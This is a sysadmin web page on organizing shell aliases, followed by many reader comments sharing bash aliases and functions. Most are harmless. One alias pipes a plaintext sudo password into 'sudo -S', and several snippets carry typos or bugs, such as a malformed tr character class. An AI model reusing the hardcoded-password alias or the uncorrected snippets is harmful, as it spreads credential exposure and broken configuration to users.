Softpanorama

May the source be with you, but remember the KISS principle ;-)
Home Switchboard Unix Administration Red Hat TCP/IP Networks Neoliberalism Toxic Managers
(slightly skeptical) Educational society promoting "Back to basics" movement against IT overcomplexity and  bastardization of classic Unix

Organizing shell aliases into knowledge database

News Shell customization Recommended Links Best Shell Books Command history reuse Examples of .bashrc files
Organizing shell aliases into knowledge database Using inputrc for key remapping Shell Prompts Customarization      
Controlling the Prompt in bash BASH Prompt Control Symbols Reference Advanced Unix filesystem navigation   AIX dotfiles .profile
Programmable Keyboards Sysadmin Horror Stories Unix shells history Tips

Humor

Etc

Aliases are a useful thing but you can easily outdo it. Excessive zeal here is very typical. You should view them more like a knowledge database.

Broadly aliases that we see in dot files can be classified (and actually structured to make it more maintainable) into three distinct categories

Only few aliases are usually remembered (ll is the most widely used, but for a wrong reason --  people should put a shortcut in .inputrc instead:

"\C-l": ll
"\C-t": llt
But that does not matter. With the current complexity of Linux aliases kept as a separate file is a database of vital for sysadmin information that he can periodically consult

Using aliases instead of history is wrong

Some people invent many aliases just because they never learned to used properly bash history mechanism.  This is a wrong approach. Using history and browsing it with grep for a given command is often more effective then using aliases.

Prefixes based system of aliases

If makes sense to assign prefixes to some among most used commands aliases. Here is a very simple example of using numberic prefixed:

Adapting aliases mechanism to multiple operating system

there are several way of doing it such as including of parts of the file based on the os.  In certain cases you also can use a the hostname ot pick up the "right" padt of your aliases collection. Probably most proper wya would be to use environmental modules for that but for simple solution you can use shell fasicilities.

Here is an example of a very simple solution of this problem -- use of the suffix for the alias file that is based on the OS (it might be better to have a directory like ~/Dotfiles for such files.):  

Larry Helms December 2, 2012, 11:00 pm

I move across various *nix type OSes. I have found that it’s easiest to keep my login stuff (aliases & environment variables) in separate files as in .aliases-{OS}. E.g.:
$HOME/.aliases-darwin
$HOME/.aliases-linux

All I have to do then in .bashrc, or .profile, whatever is do this:

OS=$( uname | tr '[:upper:]' ':[lower:]')

. $HOME/.aliases-${OS}
. $HOME/.environment_variables-${OS}

and/or

for SCRIPT in $( ls -1 $HOME/scripts/login/*-${OS} )
do
  . ${SCRIPT}
done

Better ls

Due to its age the way Unix user navigate the filesystem and view directory content definitely can be improved. and using ls alises is probably the most common way to mey it more "user friendly".

Alias ll is probably the most common alias in Unix and linux. It can be defined in many different ways. here is one, that I would recommend:

alias ll=’ls -hAlF --group-directories-first’ # F will show * after executables, / after directories and @ after links.

Actually unending games with ls aliases is an interesting story in itself. See Examples of .bashrc files for examples.

Reading various webpages pages on the topic I was surprised that there how many of "my aliases" were present in other people .bash_profile or .bashrc files :-). Looks like there is some common "core" of aliases that that many people independently reinvent again and again.

Sourcing aliases

If includes some variation of the following

alias .a='. ~/aliases'
alias 3b='vi ~/,bashrc; . ~/bashrc'

Information aliases

This is probably the most numerous and one of the most useful group of aliases. Not becuase you remeber then or use often but becuase in case need arise you can consilt you liase file as a knowledge database.
alias hgrep='history|grep '
alias psgrep='ps -ef | grep' 
alias usage="du -h --max-depth=1 | sort -rh" # list folders by size in current directory
alias dfx='df -h -x  ' # df can exclude some mount points with -x 

The choice of single or double quotation marks is significant in the alias syntax when the alias includes variables. If you enclose value within double quotation marks, any variables that appear in value are expanded when the alias is created. If you enclose value within single quotation marks, variables are not expanded until the alias is used.

The shell checks only simple, unquoted commands to see if they are aliases. Commands given as relative or absolute pathnames and quoted commands are not checked. When you want to give a command that has an alias but do not want to use the alias, precede the command with a backslash, specify the command's absolute pathname, or give the command as ./command.

Reinventing the bicycle again and again  -- attempts to enhance ls command using aliases

This is not very effective way to improve navigation in Unix/Linux, but it is acceptable for most common directories.  You can use first leeters of directories for forming shortcut. for example

alias 2es='cd /etc/sysconfig'
alias 2ey='cd /etc/yumrepos.d'
alias 2ep='cd /etc/profile.d'

The problem is that we seldom correctly understand which directories are the most common and this "deserve" aliases. 

There is also one very typical false start in this category of aliases: defining a series of aliases for going up in the filesystem such as

alias cd='cd ..'

You probably should use the autocd bash option instead (putting  ‘shopt -s autocd’ in your .bash-profile. but never in /etc/profile or /etc/bash). In this case you can just type ‘..’ to switch one directory up , or ‘../..’ to go up 2 directories. You can also type absolute of relative path of any directory to go to it.

If you often move between really deeply nested directories you might also consider using function like function up below: 

# e.g., up -> go up 1 directory
# up 4 -> go up 4 directories
up()
{
    dir=""
    if [[ $1 =~ ^[0-9]+$ ]]; then
        x=0
        while [ $x -lt ${1:-1} ]; do
            dir=${dir}../
            x=$(($x+1))
        done
    else
         dir=..
    fi
    cd "$dir";
}
or
#If you pass no arguments, it just goes up one directory.
#If you pass a numeric argument it will go up that number of directories.
#If you pass a string argument, it will look for a parent directory with that name and go up to it.
up()
{
    dir=""
    if [ -z "$1" ]; then
        dir=..
    elif [[ $1 =~ ^[0-9]+$ ]]; then
        x=0
        while [ $x -lt ${1:-1} ]; do
            dir=${dir}../
            x=$(($x+1))
        done
    else
        dir=${PWD%/$1/*}/$1
    fi
    cd "$dir";
}

Another alternative to creating excessive number of "navigational aliases" is to use capabilities of  the CDPATH environment variable. if you set it to harituclar durectories all subdirectories of this directory are now available iwht the relative path from this directory.  For example, if you enter

export CDPATH=.:/srv/www/html_public

then the command  ‘cd Documents’ will be interpreted as cd /srv/www/html_public/Documents,   no matter what directory you are currently in (unless your current directory also has a Documents/ directory in it).

the other set of crutches can be created if you create /fav directory in the root folder and symlink commonly used directories to it. For primary sysadmin that can be done automatically by the script that analyses bash history file.

And then there is always good old mc (Midnight Commander) which can be used just for switching to the nessesary directory. Typically it is availble as a package on any respectable Linux distribution.

Network aliases

When network goes south you need a plan, not just aliases. The most common is to go in the direction, opposite of OSI Protocol Layers, starting from the physical layer.

But having some aliases for quick check does not hurt. For example one potentially useful alias is to ping your default router

alias pr='ping \`netstat -nr| grep -m 1 -iE ‘default|0.0.0.0’ | awk ‘{print \$2}’\`'

the other is to alias  netstar -rn to some shorter name, like nrn or 1rn

alias 1rn='netstat -rn'

Backup

Back Up [function, not alias] – Copy a file to the current directory with today’s date automatically appended to the end.
bak() { cp $@ [email protected]`date +%y%m%d`; }

You can do more complex staff here too, for example to keep a log of changes:

bak2() { cp $@ [email protected]`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@" >> ~/.changelog.txt; }

Top Visited
Switchboard
Latest
Past week
Past month

NEWS CONTENTS

Old News ;-)

[Feb 14, 2017] 30 Handy Bash Shell Aliases For Linux - Unix - Mac OS X

... ... ...

Juanma June 12, 2012, 12:45 pm

Nice post. Thanks.
@oll & Vivek: I'm sure you know this, but to leave trace of it in this page I'll mention that, at least in Bash, you have functions as a compromise between aliases and scripts. In fact, I solved a similar situation to what is described in #7 with a function:
I keep some files under version control, hard-linking to those files into a given folder, so I want find to ignore that folder, and I don't want to re-think and re-check how to use prune option every time:
function f {
	arg_path=$1 && shift
	find $arg_path -wholename "*/path-to-ignore/*" -prune -o $* -print
}

hhanff June 12, 2012, 2:15 pm

# This will move you up by one dir when pushing AltGr .
# It will move you back when pushing AltGr Shift .

bind '"…":"pushd ..\n"' # AltGr 
bind '"÷":"popd\n"' # AltGr Shift .

Hendrik

old486whizz June 12, 2012, 5:16 pm
I would use a function for df:
df () {
if [[ "$1" = "-gt" ]]; then
x="-h"
shift
x=$x" $@"
fi
/bin/df $x -P |column -t
}

That way you can put "df -k /tmp" (etc).
… I work with AIX a lot, so often end up typing "df -gt", so that's why the if statement is there.

I also changed "mount" to "mnt" for the column's:
alias mnt="mount |column -t"

Art Protin June 12, 2012, 9:53 pm

Any alias of rm is a very stupid idea (except maybe alias rm=echo fool).

A co-worker had such an alias. Imagine the disaster when, visiting a customer site, he did "rm *" in the customer's work directory and all he got was the prompt for the next command after rm had done what it was told to do.

It you want a safety net, do "alias del='rm -I –preserve_root'",

Drew Hammond March 26, 2014, 7:41 pm<
^ This x10000.

I've made the same mistake before and its horrible.

Blue Thing June 13, 2012, 6:19 am
I use this one when I need to find the files that has been added/modified most recently:

alias lt='ls -alrt'

tef June 14, 2012, 4:56 pm
# file tree
alias tree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"

#turn screen off
alias screenoff="xset dpms force off"

# list folders by size in current directory
alias usage="du -h --max-depth=1 | sort -rh"

# e.g., up -> go up 1 directory
# up 4 -> go up 4 directories
up()
{
    dir=""
    if [[ $1 =~ ^[0-9]+$ ]]; then
        x=0
        while [ $x -lt ${1:-1} ]; do
            dir=${dir}../
            x=$(($x+1))
        done
    else
         dir=..
    fi
    cd "$dir";
}
tef June 14, 2012, 7:38 pm
>might be a repost, oops

# ganked these from people

#not an alias, but I thought this simpler than the cd control
#If you pass no arguments, it just goes up one directory.
#If you pass a numeric argument it will go up that number of directories.
#If you pass a string argument, it will look for a parent directory with that name and go up to it.
up()
{
    dir=""
    if [ -z "$1" ]; then
        dir=..
    elif [[ $1 =~ ^[0-9]+$ ]]; then
        x=0
        while [ $x -lt ${1:-1} ]; do
            dir=${dir}../
            x=$(($x+1))
        done
    else
        dir=${PWD%/$1/*}/$1
    fi
    cd "$dir";

#turn screen off
alias screenoff="xset dpms force off"

#quick file tree
alias filetree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"
nishanth July 20, 2012, 4:38 am
In "Task: Disable an alias temporarily (bash syntax)"

## path/to/full/command

/usr/bin/clear

## call alias with a backslash ##

\c ===> This should be \clear right?

Biocyberman October 22, 2012, 9:07 am

No.

Previously he set the alias:
alias c='clear'
so \c is correct.

>O-Deka-K March 12, 2013, 3:34 pm
True, but unless you have a program called 'c', this doesn't do anything useful. The example doesn't really illustrate the point. This one is better:

## Interactive remove
alias rm='rm -i'

## Call the alias (interactive remove)
rm

## Call the original command (non-interactive remove)
\rm
kioopi November 26, 2012, 9:55 am
alias tgrep='rgrep --binary-files=without-match'
alias serve='python -m SimpleHTTPServer'
Larry Helms December 2, 2012, 11:00 pm
I move across various *nix type OSes. I have found that it's easiest to keep my login stuff (aliases & environment variables) in separate files as in .aliases-{OS}. E.g.:

$HOME/.aliases-darwin
$HOME/.aliases-linux

All I have to do then in .bashrc, or .profile, whatever is do this:

OS=$( uname | tr '[:upper:]' ':[lower:]')

. $HOME/.aliases-${OS}
. $HOME/.environment_variables-${OS}

and/or

for SCRIPT in $( ls -1 $HOME/scripts/login/*-${OS} )
do
  . ${SCRIPT}
done
EW1(SG) January 1, 2013, 3:38 pm
And Larry wins the thread going away!
Martin December 4, 2012, 9:31 am
i have 2 more that haven't been posted yet:

helps with copy and pasting to and from a terminal using X and the mouse. (i chose the alias name according to what the internet said the corresponding macos commands are.)

alias pbcopy='xsel --clipboard --input'
alias pbpaste='xsel --clipboard --output'

and something I use rather frequently when people chose funny file/directory names (sad enough):

chr() {
  printf \\$(printf '%03o' $1)
}

ord() {
  printf '%d' "'$1"
}
Martin December 4, 2012, 9:33 am
edit:
the pb* aliases are especially for piping output to the clipboard and vice versa

Tom December 20, 2012, 2:18 pm
That was a great list. Here are some of mine:

I use cdbin to cd into a bin folder that is many subdirectories deep:

alias cdbin='cd "/mnt/shared/Dropbox/My Documents/Linux/bin/"'

I can never remember the sync command.

alias flush=sync

I search the command history a lot:

alias hg='history|grep '

My samba share lives inside a TrueCrypt volume, so I have to manually restart samba after TC has loaded.

alias restsmb='sudo service smb restart'

I'm surprised that nobody else suggested these:

alias syi='sudo yum install'
alias sys='sudo yum search'
zork January 16, 2013, 4:59 pm
I find these aliases are helpful

alias up1="cd .."

# edit multiple files split horizontally or vertically
alias   e="vim -o "
alias   E="vim -O "

# directory-size-date (remove the echo/blank line if you desire)
alias dsd="echo;ls -Fla"
alias   dsdm="ls -FlAh | more"
# show directories only
alias   dsdd="ls -FlA | grep :*/"
# show executables only
alias   dsdx="ls -FlA | grep \*"
# show non-executables
alias   dsdnx="ls -FlA | grep -v \*"
# order by date
alias   dsdt="ls -FlAtr "
# dsd plus sum of file sizes
alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+\$5 } END { print \"total bytes = \",x }'"
# only file without an extension
alias noext='dsd | egrep -v "\.|/"'

# send pwd to titlebar in puttytel
alias   ttb='echo -ne "33]0;`pwd`07"'
# send parameter to titlebar if given, else remove certain paths from pwd
alias   ttbx="titlebar"


# titlebar
if [ $# -lt 1 ]
then
    ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
else
    ttb=$1
fi
echo -ne "33]0;`echo $ttb`07"

alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
alias info='clear;machine;pwd'
Tom Hand January 18, 2013, 5:47 am
A couple you might mind useful.

alias trace='mtr --report-wide --curses $1'
alias killtcp='sudo ngrep -qK 1 $1 -d wlan0'
alias usage='ifconfig wlan0 | grep 'bytes''
alias connections='sudo lsof -n -P -i +c 15'
pidegat January 25, 2013, 7:24 pm
to avoid some history aliases, ctrl+R and type letter of your desired command in history. When I discover ctrl+R my life changed !
Frank Xu January 6, 2017, 1:47 pm
Check this one: https://github.com/mooz/percol
Make ctrl+R better

nyuszika7h February 7, 2013, 4:43 pm
You should check $EUID, not $UID, because if the effective user ID isn't 0, you aren't root, but if the real/saved user UID is 0, you can seteuid(0) to become root.

nyuszika7h February 7, 2013, 4:47 pm
>Reply to Tom (#42):

(1) Using `hg' for `history –grep' is probably not a good idea if you're ever going to work with Mercurial SCM.

(2) Using sudo for `yum search' is entirely pointless, you don't need to be root to search the package cache.

Karthik February 14, 2013, 10:12 am
alias up1="cd .."
# edit multiple files split horizontally or vertically
alias   e="vim -o "
alias   E="vim -O "
# directory-size-date (remove the echo/blank line if you desire)
alias dsd="echo;ls -Fla"
alias   dsdm="ls -FlAh | more"
# show directories only
alias   dsdd="ls -FlA | grep :*/"
# show executables only
alias   dsdx="ls -FlA | grep \*"
# show non-executables
alias   dsdnx="ls -FlA | grep -v \*"
# order by date
alias   dsdt="ls -FlAtr "
# dsd plus sum of file sizes
alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+\$5 } END { print \"total bytes = \",x }'"
# only file without an extension
alias noext='dsd | egrep -v "\.|/"'
# send pwd to titlebar in puttytel
alias   ttb='echo -ne "33]0;`pwd`07"'
# send parameter to titlebar if given, else remove certain paths from pwd
alias   ttbx="titlebar"
# titlebar
if [ $# -lt 1 ]
then
    ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
else
    ttb=$1
fi
echo -ne "33]0;`echo $ttb`07"
alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
alias info='clear;machine;pwd'
Benito November 3, 2014, 5:05 am

I will add:

# file tree of directories only
alias dirtree="ls -R | grep :*/ | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /' -e 's/-/|/'"
  • John Ko February 15, 2013, 10:57 pm

    I'm surprised no one has mentioned:
    alias ls='ls -F'
    It will show * after executables, / after directories and @ after links.

    Reply Link
  • Erin February 16, 2013, 7:44 am

    Here are some tidbits I've setup to help troubleshoot things quickly

    This one pings a router quickly

    alias pr="ping \`netstat -nr| grep -m 1 -iE 'default|0.0.0.0' | awk '{print \$2}'\`"

    This export puts the current subnet as a variable (assuming class C) for easy pinging or nmaping

    export SN=`netstat -nr| grep -m 1 -iE 'default|0.0.0.0' | awk '{print \$2}' | sed 's/\.[0-9]*$//' `
    ping $SN.254
    nmap -p 80 $SN.*

    This command which I just named 'p' will call ping and auto populate your current subnet. You'd call it like this to ping the router p 1

    #!/bin/bash
    [ "$#" -eq 1 ] || exit "1 argument required, $# provided"
    echo $1 | grep -E -q '^[0-9]+$' || exit "Numeric argument required, $1 provided"
    export HOST=$1
    export SUBNET=`netstat -nr| grep -m 1 -iE 'default|0.0.0.0' | awk '{print \$2}'`
    export IP=`echo $SUBNET | sed s/\.[0-9]*$/.$HOST/`
    ping $IP

    Quickly reload your .bashrc or .bash_profile

    alias rl='. ~/.bash_profile'

    Reply Link
  • Flack February 22, 2013, 8:44 pm

    Clear xterm buffer cache

    alias clearx="echo -e '/0033/0143'"

    Contrary to the clear command that only cleans the visible terminal area. AFAIK It's not an universal solution but it worths a try.

    Edited by Admin as requested by OP.

    Reply Link
  • DarrinMeek February 26, 2013, 3:11 am

    I have been using this concept for many years and still trying to perfect the methodology. My goals include minimal keystrokes and ease of use. I use double quotes in my alias defn even though single quote delimiters are the normal convention. I use 'aa' for "add alias." It is always the first alias I create. Each job and each environ begin with 'aa' alias creation.

    My aliases have evolved into productized command line interfaces and have been adopted by many others over the years. http://www.iboa.us/iboaview.html

    Reply Link
  • muratkarakus March 1, 2013, 5:02 pm

    Nowadays, git is so popular, we can not miss it
    These are my git aliases

    alias g="git"
    alias gr="git rm -rf"
    alias gs="git status"
    alias ga="g add"
    alias gc="git commit -m"
    alias gp="git push origin master"
    alias gl="git pull origin master"

    Reply Link
  • muratkarakus March 1, 2013, 6:16 pm

    alias sd="echo michoser | sudo -S"

    alias ai="sd apt-get –yes install"
    alias as="apt-cache search"
    alias ar="sd apt-get –yes remove"

    alias .p="pushd ."
    alias p.="popd"

    Reply Link
  • Tolli March 2, 2013, 8:35 pm

    Regarding the cd aliases (#2), you can use the autocd bash option (run 'shopt -s autocd') to change directories without using cd. Then, you can just type '..' to go up one directory, or '../..' to go up 2 directories, or type the (relative) path of any directory to go to it. Another trick is to set the CDPATH environment variable. This will let you easily change to directories in a commonly used sub-directories such as your home directory. For example, if you set the CDPATH to '.:$HOME' (run 'export CDPATH=.:$HOME'), then run 'cd Documents' you will change directories to the Documents/ directory in your home directory, no matter what directory you are currently in (unless your current directory also has a documents/ directory in it).

    Reply Link
  • Chris F.A. Johnson March 11, 2013, 6:14 pm

    I don't use aliases. As the bash man page says:

    "For almost every purpose, aliases are superseded by shell functions."

    At the top of my .bashrc I have 'unalias -a' to get rid of any misguided aliases installed by /etc/profile.

    Reply Link
  • griswolf March 11, 2013, 7:24 pm

    The aliases that I use the most (also a lot of shell functions):
    alias j='jobs -l'
    alias h='history'
    alias la='ls -aF'
    alias lsrt='ls -lrtF'
    alias lla='ls -alF'
    alias ll='ls -lF'
    alias ls='ls -F'
    alias pu=pushd
    alias pd=popd
    alias r='fc -e -' # typing 'r' 'r'epeats the last command

    Reply Link
  • Gary March 27, 2013, 9:15 am

    Sizes of the directories in the current directory
    alias size='du -h –max-depth=1′

    Reply Link
  • RajaSekhar April 2, 2013, 2:56 am

    Useful alias. Thanks mates.

    I find the following useful too

    alias tf='tail -f '
    
    # grep in *.cpp files
    alias findcg='find . -iname "*.cpp" | xargs grep -ni --color=always '
    # grep in *.cpp files
    alias findhg='find . -iname "*.h" | xargs grep -ni --color=always '
    
    #finds that help me cleanup when hit the limits
    
    alias bigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( \$1 > 5000) print \$0 }'"
    alias verybigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( \$1 > 500000) print \$0 }'"
    
    #show only my procs
    alias psme='ps -ef | grep $USER --color=always '
    
    Reply Link
  • Carsten April 5, 2013, 1:06 pm

    Very nice alias list.
    Here's another very handy alias:

    alias psg='ps -ef | grep'

    ex: looking for all samb processes:

    psg mbd
    Reply Link
  • phillip April 6, 2013, 6:23 am

    Here is the most important alias:

    alias exiy='exit'

    Reply Link
  • Thilo Six April 8, 2013, 2:20 pm

    I did learn some new things. Thanks for that.

    Regarding:
    # Do not wait interval 1 second, go fast #
    alias fastping='ping -c 100 -s.2′

    From reading the man page i gather the '-s' should be '-i' instead.

    ping(8):
    -s packetsize
    Specifies the number of data bytes to be sent.

    -i interval
    Wait interval seconds between sending each packet. The
    default is to wait for one second between each packet
    normally, or not to wait in flood mode. Only super-user
    may set interval to values less 0.2 seconds.

    Reply Link
  • Thomas April 9, 2013, 3:44 pm

    Back Up [function, not alias] – Copy a file to the current directory with today's date automatically appended to the end.

    bu() { cp $@ [email protected]`date +%y%m%d`; }

    Add to .bashrc or .profile and type: "bu filename.txt"

    I made this a long time ago and use it daily. If you really want to stay on top of your backed up files, you can keep a log by adding something like:

    bu() { cp $@ [email protected]`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@" >> ~/.backups.log; }

    I hope someone finds this helpful!

    Reply Link
  • Russ Thompson April 25, 2013, 2:34 am

    I am learning to love simple functions in .bashrc

    mcd () {
    mkdir -p $1;
    cd $1
    }

    But the great aliases are in the cmd prompt under windoze:

    run doskey /macrofile=\doskey.mac

    then set up a doskey,mac in root directory with the CORRECT commands

    ls=dir $* /o/w
    cat=type $*
    rm=del $*
    lsl=dir $* /o/p
    quit=exit

    yes, I have to work in the sludgepit, but I can fix the command set

    Reply Link
  • Andrew May 1, 2013, 8:44 pm

    Since I work in a number of different distributions, I concatenated 17 and 18:

    case $(lsb_release -i | awk '{ print $3 }') in

    Ubuntu|Debian)
    alias apt-get="sudo apt-get"
    alias updatey="sudo apt-get –yes"
    alias update='sudo apt-get update && sudo apt-get upgrade'
    ;;

    CentOS|RedHatEnterpriseServer)
    alias update='yum update'
    alias updatey='yum -y update'
    ;;
    esac

    Of course you could add Fedora, Scientific Linux, etc, to the second one, but I don't have either of those handy to get the output of lsb_release.

    Reply Link
  • Aaron Goshine May 5, 2013, 3:27 am

    alias gtl='git log'
    alias gts='git status'

    Reply Link
  • Dan May 29, 2013, 3:53 pm

    I also have an function that does the same thing, and an alias for killing a process by pid. Then in my ps2 command I use 'complete' to add the pids to the completion list of my kill command so I can hit escape and it will fill in the rest. Better to show it than describe it:

    alias kk='sudo kill' # Expecting a pid
    pss() {
    [[ ! -n ${1} ]] && return; # bail if no argument
    pro="[${1:0:1}]${1:1}"; # process-name –> [p]rocess-name (makes grep better)
    ps axo pid,command | grep -i ${pro}; # show matching processes
    pids="$(ps axo pid,command | grep -i ${pro} | awk '{print $1}')"; # get pids
    complete -W "${pids}" kk # make a completion list for kk
    }

    Now I can do (for example):

    zulu:/Users/frank $ pss ssh
    3661 /usr/bin/ssh-agent -l
    2845 ssh -Nf -L 15900:localhost:5900 [email protected]
    zulu:/Users/frank $ kk 2 (hit escape key to complete 2845)
    zulu:/Users/frank $

    Reply Link
  • Philip Vanmontfort June 1, 2013, 3:31 pm

    Hey, very useful tips!
    here's mine:

    chmoddr()   {
      # CHMOD _D_irectory _R_ecursivly
    
      if [ -d "$1" ]; then
       echo "error: please use the mode first, then the directory";
       return 1;
      elif [ -d "$2" ]; then
       find $2 -type d -print0 | xargs -0 chmod $1;
      fi
    }
    
    assimilate(){
      _assimilate_opts="";
    
      if [ "$#" -lt 1 ]; then   echo "not enough arguments";    return 1;  fi
      SSHSOCKET=~/.ssh/assimilate_socket.$1;
      echo "resistence is futile! $1 will be assimilated";
      if [ "$2" != "" ]; then
        _assimilate_opts=" -p$2 ";
      fi
    
      ssh -M -f -N $_assimilate_opts -o ControlPath=$SSHSOCKET $1;
      if [ ! -S $SSHSOCKET ]; then echo "connection to $1 failed! (no socket)"; return 1; fi
    
      ### begin assimilation
    
      # copy files
      scp -o ControlPath=$SSHSOCKET ~/.bashrc $1:~;
      scp -o ControlPath=$SSHSOCKET -r ~/.config/htop $1:~;
    
      # import ssh key
      if [[ -z $(ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "grep -f - ~/.ssh/authorized_keys") ]]; then
        ssh -o ControlPath=$SSHSOCKET $1 "mkdir ~/.ssh > /dev/null 2>&1";
        ssh-add -L > /dev/null&&ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "cat >> ~/.ssh/authorized_keys"
      fi
      ssh -o ControlPath=$SSHSOCKET $1 "chmod -R 700 ~/.ssh";
    
      ### END
      ssh -S $SSHSOCKET -O exit $1 2>1 >/dev/null;
    }
    
    Reply Link
  • harry June 4, 2013, 2:59 am

    Hey these are great guys. Thanks. Here are a few I started using recently ever since I discovered 'watch'. I use for monitoring log tails and directory contents and sizes.

    alias watchtail='watch -n .5 tail -n 20′
    alias watchdir='watch -n .5 ls -la'
    alias watchsize='watch -n .5 du -h –max-depth=1′

    Reply Link
  • greg June 7, 2013, 4:19 pm

    I have the same "ll" alias, I use constantly. Here are a few others:

    # grep all files in the current directory
    function _grin() { grep -rn --color $1 .;}
    alias grin=_grin
    # find file by name in current directory
    function _fn() { find . -name $1;}
    alias fn=_fn
    Reply Link
  • Philip Vanmontfort June 17, 2013, 5:50 pm

    Hi,
    I published my .bashrc:
    http://vanmontfort.be/pub/linux/.bashrc

    Greetings,
    Philip

    Reply Link
  • selfthinker June 29, 2013, 5:40 pm

    three letters to tune into my favorite radio stations

    alias dlf="/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dlf.m3u|head -1)"
    
    alias dlr="/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dkultur.m3u|head -1)"
    

    sometimes I swap my keyboards, then I use

    alias tastatur="setxkbmap -model cherryblue -layout de -variant ,nodeadkeys"
    

    When using mplayer you may set bookmarks using 'i'. You may read it easyer using

    mplay() { 
    	export EDL="$HOME/.mplayer/current.edl"
    	/usr/local/bin/mplayer -really-quiet -edlout $EDL $* ;
    	echo $(awk '{print $2 }' $EDL | cut -d, -f1 | cut -d. -f1 )
    	}
    

    Buring ISO-images does not need starting GUIs and clicking around

    alias isowrite="cdrecord dev=1,0,0 fs=32M driveropts=burnfree speed=120 gracetime=1 -v -dao -eject -pad -data 
    

    Be aware the device must be adjusted. Not every default will fit for you to "isowrite /some/where/myimage.iso".

    Reply Link
  • LinuxGeek July 16, 2013, 3:28 pm

    Really useful command

    Reply Link
  • Erik July 16, 2013, 9:01 pm

    In 30 years of living at the *nix commandline I found that I really only need 2 aliases
    for my bash shell (used to be ksh, but that's been a while)

      alias s=less        # use less a lot to see config files and logfiles
      alias lst='ls -ltr'   # most recently updated files last
    

    when checking for servers and tcp ports for a non root user these are also handy

      alias myps='ps -fHu $USER'     # if not $USER, try $LOGIN
      alias myports="netstat -lntp 2>/dev/null | grep -v ' - *$'"  # Linux only?
    
    Reply Link
  • Tim August 10, 2013, 1:44 pm

    I have an alias question. I routinely want to copy files from various locations to a standard location. I want to alias that standard location so I can type:
    alias mmm="/standard/target/directory/"
    cp /various/file/source mmm
    but this doesn't work: just creates a duplicate named mmm

    Is there a way to do this?
    tim

    Reply Link
  • sandeep September 3, 2013, 10:01 am

    thanks

    Reply Link
  • Salvatore September 8, 2013, 1:56 pm

    Very nice and useful, thank you!

    Reply Link
  • Morgan Estes September 17, 2013, 10:01 pm

    I can never remember the right flags to pass when extracting a tarball, so I have this custom alias:

    alias untar='tar -zxvf'
    Reply Link
  • Michael J September 27, 2013, 4:06 pm

    I use this "alias" - its really a function - to do a quick check of JSON files on the command line:

    function json() { cat "$@" | /usr/bin/python -m json.tool ;}

    usage: json file.json

    If all is well, it will print the JSON file to the screen. If there is an error in the file, the error is printed along with the offending line number.

    Works great for quickly testing JSON files!

    Reply Link
  • Erwan October 7, 2013, 8:21 pm

    Nice list, this file is so great for repetitive tasks.

    Here's mine.

    Reply Link
  • Eric October 10, 2013, 6:29 pm

    This is a great list most of my favorites have already been listed but this one hasn't quite been included and i use more than any other, except maybe 'lt'
    Thanks to James from comment #28 it now doesn't include the command its self in the list!

    # grep command history.  Uses function so a bare 'gh' doesn't just hang waiting for input.
    function gh () {
      if [ -z "$1" ]; then
        echo "Bad usage. try:gh run_test";
      else
        history | egrep $* |grep -v "gh $*"
      fi
    }
    

    I also offer this modification to your #8

    alias h='history 100'     # give only recent history be default.

    other favorites of mine, all taken from elsewhere, are:

    alias wcl='wc -l'        # count # of lines
    alias perlrep='perl -i -p -e '               # use perl regex to do find/replace in place on files.  CAREFUL!!

    # list file/folder sizes sorted from largest to smallest with human readable sizes

    function dus () {
    du --max-depth=0 -k * | sort -nr | awk '{ if($1>=1024*1024) {size=$1/1024/1024; unit="G"} else if($1>=1024) {size=$1/1024; unit="M"} else {size=$1; unit="K"}; if(size<10) format="%.1f%s"; else format="%.0f%s"; res=sprintf(format,size,unit); printf "%-8s %s\n",res,$2 }'
    Reply Link
  • Brian October 26, 2013, 12:08 am

    Alias the word unalias into a 65000 character long password… :)

    Reply Link
  • Brian October 26, 2013, 12:11 am

    Likewise alias bin.bash as $=unalias-1

    Reply Link
  • TimC November 13, 2013, 11:37 pm

    So you are not truly lazy until you see this in somebody's alias file

    alias a='alias'

    :)

    TimC

    Reply Link
  • Jim C December 12, 2013, 5:54 pm

    It's a bit off topic but the lack of a good command line trash can command has always seemed like a glaring omission to me.
    I usually name it tcan or tcn.
    http://wiki.linuxquestions.org/wiki/Scripting#Command_Line_Trash_Can

    Reply Link
  • rne December 28, 2013, 8:08 pm

    just use Ctrl-D

    Reply Link
  • Mikkel January 1, 2014, 9:38 pm

    On OS-X 10.9 replace 'ls –color=auto' with 'ls -G'

    Reply Link
  • Robert February 12, 2014, 3:40 am

    # Define a command to cd then print the resulting directory.
    # I do this to avoid putting the current directory in my prompt.
    alias cd='cdir'
    function cdir ()
    {
    \cd "$*"
    pwd
    }

    Reply Link
  • shanker February 12, 2014, 10:30 am

    function mkcd(){
    mkdir -p $1
    cd $1
    }

    Reply Link
  • Brian C February 13, 2014, 5:12 pm

    Lots of great suggestions here.

    I use so many aliases and functions that I needed one to search them.

    function ga() { alias | grep -i $*; functions | grep -i $*}

    This is not so nice with multiple line functions and could be improved with a clever regex.

    Reply Link
  • Jules J February 20, 2014, 2:28 pm
    # Find a file from the current directory
    alias ff='find . -name '
    
    # grep the output of commands
    alias envg='env | grep -i'
    alias psg='ps -eaf | head -1; ps -eaf | grep -v " grep " | grep -i'
    alias aliasg='alias | grep -i'
